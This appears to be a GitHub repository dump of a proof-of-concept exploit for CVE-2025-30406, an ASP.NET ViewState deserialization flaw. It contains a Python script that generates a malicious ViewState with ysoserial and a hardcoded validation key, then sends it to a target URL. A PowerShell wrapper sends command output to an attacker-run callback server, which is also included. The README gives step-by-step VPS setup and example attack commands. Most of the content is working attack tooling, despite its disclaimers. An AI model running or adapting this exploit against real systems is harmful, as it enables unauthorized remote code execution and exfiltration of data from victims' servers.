├── ysoserial.exe ├── server.py ├── exploit.py └── README.md /ysoserial.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mchklt/CVE-2025-30406/HEAD/ysoserial.exe -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from http.server import BaseHTTPRequestHandler, HTTPServer 4 | from urllib.parse import unquote 5 | import datetime 6 | 7 | class StyledShellHandler(BaseHTTPRequestHandler): 8 | COLOR_COMMAND = "\033[92m" # Green 9 | COLOR_OUTPUT = "\033[97m" # White 10 | COLOR_RESET = "\033[0m" 11 | PROMPT = "$ " 12 | 13 | def do_GET(self): 14 | raw_data = unquote(self.path[1:]) # Remove leading slash and decode 15 | timestamp = datetime.datetime.now().strftime("%H:%M:%S") 16 | 17 | print(f"\n[{timestamp}] Command output received:") 18 | 19 | # Split on new lines (handle both \r\n and \n) 20 | lines = raw_data.splitlines() 21 | 22 | for line in lines: 23 | line = line.strip() 24 | if line == "": 25 | print(f"{self.COLOR_OUTPUT}[empty line]{self.COLOR_RESET}") 26 | else: 27 | # Print each line with prompt and color 28 | print(f"{self.COLOR_COMMAND}{self.PROMPT}{self.COLOR_RESET}{self.COLOR_OUTPUT}{line}{self.COLOR_RESET}") 29 | 30 | self.send_response(200) 31 | self.end_headers() 32 | self.wfile.write(b"OK") 33 | 34 | def run_server(port=8000): 35 | print(f"[+] Listening on port {port}...\n") 36 | server = HTTPServer(('0.0.0.0', port), StyledShellHandler) 37 | try: 38 | server.serve_forever() 39 | except KeyboardInterrupt: 40 | print("\n[-] Server stopped by user") 41 | server.server_close() 42 | 43 | if __name__ == "__main__": 44 | run_server() 45 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import subprocess 4 | import requests 5 | import sys 6 | import urllib.parse 7 | import argparse 8 | import os 9 | 10 | def generate_payload(command, ysoserial_path, callback_url=None): 11 | """ 12 | Generate a ViewState payload using ysoserial.exe for CVE-2025-30406. 13 | 14 | Args: 15 | command (str): Command to be executed in the payload. 16 | ysoserial_path (str): Path to ysoserial.exe. 17 | callback_url (str, optional): URL to exfiltrate command output. 18 | 19 | Returns: 20 | str: Generated payload or None if an error occurs. 21 | """ 22 | validation_key = "5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" 23 | generator = "3FE2630A" 24 | 25 | try: 26 | # Ensure ysoserial path exists 27 | if not os.path.isfile(ysoserial_path): 28 | print(f"Error: ysoserial.exe not found at {ysoserial_path}") 29 | return None 30 | 31 | # If callback_url is provided, wrap command to exfiltrate output 32 | if callback_url: 33 | command = f'powershell.exe $out=({command} | Out-String);Invoke-WebRequest -Uri {callback_url}/$out -Method GET' 34 | else: 35 | command = f'powershell.exe {command}' 36 | 37 | result = subprocess.run( 38 | [ 39 | ysoserial_path, "-p", "ViewState", "-g", "TextFormattingRunProperties", 40 | "--generator", generator, 41 | "--validationalg", "HMACSHA256", 42 | "--validationkey", validation_key, 43 | "-c", command 44 | ], 45 | stdout=subprocess.PIPE, 46 | stderr=subprocess.PIPE, 47 | text=True 48 | ) 49 | 50 | if result.returncode != 0: 51 | print(f"Error generating payload: {result.stderr}") 52 | return None 53 | 54 | return result.stdout.strip() 55 | 56 | except Exception as e: 57 | print(f"Error in generate_payload: {e}") 58 | return None 59 | 60 | def send_payload(target_url, viewstate_payload): 61 | """ 62 | Send the ViewState payload to the target URL. 63 | 64 | Args: 65 | target_url (str): Target URL to send the payload. 66 | viewstate_payload (str): Generated ViewState payload. 67 | 68 | Returns: 69 | None 70 | """ 71 | try: 72 | post_data = f"__LASTFOCUS=&__VIEWSTATE={urllib.parse.quote(viewstate_payload)}" 73 | headers = { 74 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0", 75 | "Connection": "close", 76 | "Content-Type": "application/x-www-form-urlencoded", 77 | "Accept-Encoding": "gzip" 78 | } 79 | 80 | response = requests.post(target_url, data=post_data, headers=headers, verify=False) 81 | print(f"Status: {response.status_code}") 82 | print(f"Response: {response.text[:500]}...") # Truncate for brevity 83 | except Exception as e: 84 | print(f"Error sending payload: {e}") 85 | 86 | def main(): 87 | parser = argparse.ArgumentParser( 88 | description="Proof-of-Concept for CVE-2025-30406 ViewState deserialization exploit. USE WITH PERMISSION ONLY.", 89 | epilog="Example: python exploit.py -u http://target.com/page.aspx -c 'whoami' -y ./ysoserial.exe -e http://your-vps:8000" 90 | ) 91 | parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target.com/page.aspx)") 92 | parser.add_argument("-c", "--command", required=True, help="Command to execute (e.g., 'whoami')") 93 | parser.add_argument("-y", "--ysoserial", default="./ysoserial.exe", help="Path to ysoserial.exe") 94 | parser.add_argument("-e", "--exfil", help="Callback URL for exfiltrating command output (e.g., http://your-vps:8000)") 95 | 96 | args = parser.parse_args() 97 | 98 | print("WARNING: This is a Proof-of-Concept for CVE-2025-30406 for educational purposes only.") 99 | print("Use only on systems you have explicit permission to test. Unauthorized use is illegal.") 100 | if not args.exfil: 101 | print("Note: Use -e to exfiltrate command output to a server for styled display.") 102 | 103 | payload = generate_payload(args.command, args.ysoserial, args.exfil) 104 | if payload: 105 | print("Payload generated successfully. Sending to target...") 106 | send_payload(args.url, payload) 107 | else: 108 | print("Failed to generate payload. Exiting.") 109 | sys.exit(1) 110 | 111 | if __name__ == "__main__": 112 | main() 113 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2025-30406 ViewState Exploit PoC 2 | 3 | ## Overview 4 | This is a Proof-of-Concept (PoC) script demonstrating a ViewState deserialization exploit for **CVE-2025-30406** in ASP.NET applications. It uses ysoserial to generate a malicious ViewState payload and sends it to a user-specified URL to execute a provided command. For best results, command output can be exfiltrated to a custom HTTP server (`server.py`) running on a VPS, which displays results in a styled format with timestamps, green prompts, and white output text. This script is intended for **educational purposes only** and must only be used on systems where you have **explicit permission** to perform security testing. Unauthorized use is illegal and unethical. 5 | 6 | ## CVE Details 7 | - **CVE ID**: CVE-2025-30406 8 | - **Description**: A deserialization vulnerability in ASP.NET ViewState handling that allows remote code execution when a valid validation key and generator are known. 9 | - **Affected Systems**: ASP.NET applications with vulnerable ViewState configurations. 10 | - **Prerequisites for Exploitation**: 11 | - Access to a valid ViewState validation key and generator. 12 | - A vulnerable endpoint accepting ViewState parameters. 13 | 14 | ## Repository Contents 15 | - `exploit.py`: The main PoC script to generate and send the ViewState payload. 16 | - `server.py`: An HTTP server to receive and display exfiltrated command output in a styled format. 17 | - `README.md`: This file, with setup and usage instructions. 18 | 19 | ## Prerequisites 20 | - Python 3.x 21 | - `requests` library (`pip install requests`) 22 | - ysoserial executable (Windows or equivalent for your platform) 23 | - A vulnerable ASP.NET application endpoint 24 | - A VPS or server to run `server.py` (recommended for exfiltration) 25 | - Permission to test the target system 26 | 27 | ## Installation 28 | 1. Clone this repository: 29 | ```bash 30 | git clone https://github.com/yourusername/cve-2025-30406-poc.git 31 | cd cve-2025-30406-poc 32 | ``` 33 | 2. Install the required Python package: 34 | ```bash 35 | pip install requests 36 | ``` 37 | 3. Download ysoserial and place it in the same directory as `exploit.py` or specify its path: 38 | - [ysoserial GitHub](https://github.com/frohoff/ysoserial) 39 | 40 | ## Setup on a VPS (Recommended) 41 | To receive exfiltrated command output in a styled format, run `server.py` on a VPS: 42 | 1. Copy `server.py` to your VPS (e.g., via `scp`): 43 | ```bash 44 | scp server.py user@your-vps-ip:/home/user/ 45 | ``` 46 | 2. Ensure Python 3 is installed: 47 | ```bash 48 | sudo apt update && sudo apt install python3 python3-pip 49 | ``` 50 | 3. Run the server (default port 8000): 51 | ```bash 52 | python3 server.py 53 | ``` 54 | 4. Ensure the VPS firewall allows inbound traffic on port 8000: 55 | ```bash 56 | sudo ufw allow 8000 57 | ``` 58 | 5. Note the VPS’s public IP or domain (e.g., `http://your-vps-ip:8000`) for use with the `-e` flag in `exploit.py`. 59 | 60 | ## Usage 61 | ### Running the Exploit 62 | Run `exploit.py` with the required arguments. The `-e` flag is optional but highly recommended for exfiltrating command output to `server.py` for styled display. 63 | 64 | ```bash 65 | python exploit.py -u -c [-y ] [-e ] 66 | ``` 67 | 68 | #### Arguments 69 | - `-u, --url`: Target URL (e.g., `http://target.com/page.aspx`) [Required] 70 | - `-c, --command`: Command to execute (e.g., `whoami`) [Required] 71 | - `-y, --ysoserial`: Path to ysoserial executable (default: `./ysoserial.exe`) [Optional] 72 | - `-e, --exfil`: Callback URL for exfiltrating command output (e.g., `http://your-vps:8000`) [Optional] 73 | 74 | #### Examples 75 | 1. Run without exfiltration (Blind execution): 76 | ```bash 77 | python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe 78 | ``` 79 | 2. Run with exfiltration to a VPS running `server.py` (recommended): 80 | ```bash 81 | python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000 82 | ``` 83 | 84 | ### Running the Server 85 | On your VPS or local machine, start the HTTP server to receive exfiltrated output: 86 | ```bash 87 | python3 server.py 88 | ``` 89 | The server will display command output with timestamps, a green `$` prompt, and white text for readability. 90 | 91 | ## How It Works 92 | 1. **Exploit Script (`exploit.py`)**: 93 | - Uses ysoserial with a hardcoded validation key and generator to create a ViewState payload. 94 | - If `-e` is provided, the command is wrapped to capture output and send it to the callback URL via `Invoke-WebRequest`. 95 | - Sends the payload to the target URL in a POST request, embedded in the `__VIEWSTATE` parameter. 96 | - Prints the server’s response status and a portion of the response body. 97 | 2. **HTTP Server (`server.py`)**: 98 | - Listens for GET requests containing command output. 99 | - Decodes the URL path and splits it into lines. 100 | - Prints each line with a timestamp, green `$` prompt, and white output text. 101 | - Responds with HTTP 200 and “OK”. 102 | 103 | ## Ethical Use Warning 104 | - This script is a proof-of-concept for CVE-2025-30406 for educational and authorized security testing purposes. 105 | - **Do not use this script on systems without explicit permission from the system owner.** 106 | - Misuse may violate laws, including the Computer Fraud and Abuse Act (CFAA) in the United States or similar laws elsewhere. 107 | - Always obtain written consent before testing any system. 108 | - Report vulnerabilities responsibly through coordinated disclosure or bug bounty programs. 109 | 110 | ## Limitations 111 | - The hardcoded validation key and generator may only work for specific vulnerable applications. Users may need application-specific values. 112 | - The exploit targets ASP.NET applications vulnerable to ViewState deserialization. 113 | - The script assumes the target server processes the ViewState payload correctly. 114 | - Cross-platform compatibility depends on ysoserial availability (primarily Windows-based). 115 | - Exfiltration requires a publicly accessible server for the `-e` callback URL. 116 | 117 | ## License 118 | This project is licensed under the MIT License. See the LICENSE file for details. 119 | 120 | ## Contact 121 | For questions or feedback, please open an issue on this repository. 122 | --------------------------------------------------------------------------------